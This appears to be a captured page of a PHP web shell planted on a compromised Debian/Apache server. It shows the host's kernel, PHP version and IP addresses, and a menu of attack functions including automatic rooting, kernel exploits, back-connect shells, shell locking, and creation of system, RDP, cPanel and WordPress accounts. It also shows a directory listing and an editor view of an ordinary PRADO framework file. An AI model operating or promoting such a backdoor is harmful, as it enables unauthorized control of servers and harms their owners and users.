Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 13.59.116.142
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
TActiveButton.php
3.98
KB
-rw-r--r--
TActiveCheckBox.php
5.21
KB
-rw-r--r--
TActiveCheckBoxList.php
3.46
KB
-rw-r--r--
TActiveClientScript.php
2.52
KB
-rw-r--r--
TActiveControlAdapter.php
13.61
KB
-rw-r--r--
TActiveCustomValidator.php
7.29
KB
-rw-r--r--
TActiveDataGrid.php
28.01
KB
-rw-r--r--
TActiveDataList.php
3.74
KB
-rw-r--r--
TActiveDatePicker.php
6.11
KB
-rw-r--r--
TActiveDropDownList.php
4.21
KB
-rw-r--r--
TActiveFileUpload.php
15.53
KB
-rw-r--r--
TActiveHiddenField.php
3.44
KB
-rw-r--r--
TActiveHyperLink.php
3.12
KB
-rw-r--r--
TActiveImage.php
2.59
KB
-rw-r--r--
TActiveImageButton.php
5.09
KB
-rw-r--r--
TActiveLabel.php
2.55
KB
-rw-r--r--
TActiveLinkButton.php
4.7
KB
-rw-r--r--
TActiveListBox.php
4.53
KB
-rw-r--r--
TActiveListControlAdapter.php
6.53
KB
-rw-r--r--
TActiveMultiView.php
3.5
KB
-rw-r--r--
TActivePageAdapter.php
12.12
KB
-rw-r--r--
TActivePager.php
6.14
KB
-rw-r--r--
TActivePanel.php
2.74
KB
-rw-r--r--
TActiveRadioButton.php
5.18
KB
-rw-r--r--
TActiveRadioButtonList.php
3.57
KB
-rw-r--r--
TActiveRatingList.php
3.88
KB
-rw-r--r--
TActiveRepeater.php
3.67
KB
-rw-r--r--
TActiveTableCell.php
8.46
KB
-rw-r--r--
TActiveTableRow.php
9.03
KB
-rw-r--r--
TActiveTextBox.php
3.61
KB
-rw-r--r--
TAutoComplete.php
13.18
KB
-rw-r--r--
TBaseActiveControl.php
11.01
KB
-rw-r--r--
TCallback.php
3.01
KB
-rw-r--r--
TCallbackClientScript.php
21.4
KB
-rw-r--r--
TCallbackClientSide.php
8.44
KB
-rw-r--r--
TCallbackEventParameter.php
2.22
KB
-rw-r--r--
TCallbackOptions.php
1.31
KB
-rw-r--r--
TCallbackResponseAdapter.php
3.69
KB
-rw-r--r--
TDraggable.php
8.18
KB
-rw-r--r--
TDropContainer.php
9.48
KB
-rw-r--r--
TEventTriggeredCallback.php
2.43
KB
-rw-r--r--
TInPlaceTextBox.php
8.02
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.49
KB
-rw-r--r--
TTriggeredCallback.php
1.68
KB
-rw-r--r--
TValueTriggeredCallback.php
3.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TActiveRepeater.php
<?php /** * TActiveRepeater class file * * @author LANDWEHR Computer und Software GmbH <programmierung@landwehr-software.de> * @package System.Web.UI.ActiveControls * @since 3.1.9 */ /** * TActiveRepeater class * * TActiveRepeater represents a data bound and updatable grid control which is the * active counterpart to the original {@link TRepeater} control. * * This component can be used in the same way as the regular datagrid, the only * difference is that the active repeater uses callbacks instead of postbacks * for interaction. * * Please refer to the original documentation of the regular counterparts for usage. * * @author LANDWEHR Computer und Software GmbH <programmierung@landwehr-software.de> * @package System.Web.UI.ActiveControls * @since 3.1.9 */ class TActiveRepeater extends TRepeater implements IActiveControl, ISurroundable { /** * Creates a new callback control, sets the adapter to * TActiveControlAdapter. */ public function __construct() { parent::__construct(); $this->setAdapter(new TActiveControlAdapter($this)); } /** * @return TBaseActiveControl standard active control options. */ public function getActiveControl() { return $this->getAdapter()->getBaseActiveControl(); } /** * Sets the data source object associated with the repeater control. * In addition, the render method of all connected pagers is called so they * get updated when the data source is changed. Also the repeater registers * itself for rendering in order to get it's content replaced on client side. * @param Traversable|array|string data source object */ public function setDataSource($value) { parent::setDataSource($value); if($this->getActiveControl()->canUpdateClientSide()) { $this->renderPager(); $this->getPage()->getAdapter()->registerControlToRender($this,$this->getResponse()->createHtmlWriter()); } } /** * Returns the id of the surrounding container (span). * @return string container id */ public function getSurroundingTagID() { return $this->ClientID.'_Container'; } /** * Renders the repeater. * If the repeater did not pass the prerender phase yet, it will register itself for rendering later. * Else it will call the {@link renderRepeater()} method which will do the rendering of the repeater. * @param THtmlWriter writer for the rendering purpose */ public function render($writer) { if($this->getHasPreRendered()) { $this->renderRepeater($writer); if($this->getActiveControl()->canUpdateClientSide()) $this->getPage()->getCallbackClient()->replaceContent($this->getSurroundingTagId(),$writer); } else { $this->getPage()->getAdapter()->registerControlToRender($this,$writer); } } /** * Loops through all {@link TActivePager} on the page and registers the ones which are set to paginate * the repeater for rendering. This is to ensure that the connected pagers are also rendered if the * data source changed. */ private function renderPager() { $pager=$this->getPage()->findControlsByType('TActivePager', false); foreach($pager as $item) { if($item->ControlToPaginate==$this->ID) { $writer=$this->getResponse()->createHtmlWriter(); $this->getPage()->getAdapter()->registerControlToRender($item,$writer); } } } /** * Renders the repeater by writing a span tag with the container id obtained from {@link getSurroundingTagID()} * which will be called by the replacement method of the client script to update it's content. * @param THtmlWriter writer for the rendering purpose */ private function renderRepeater($writer) { $writer->addAttribute('id',$this->getSurroundingTagID()); $writer->renderBeginTag('span'); parent::render($writer); $writer->renderEndTag(); } }
Close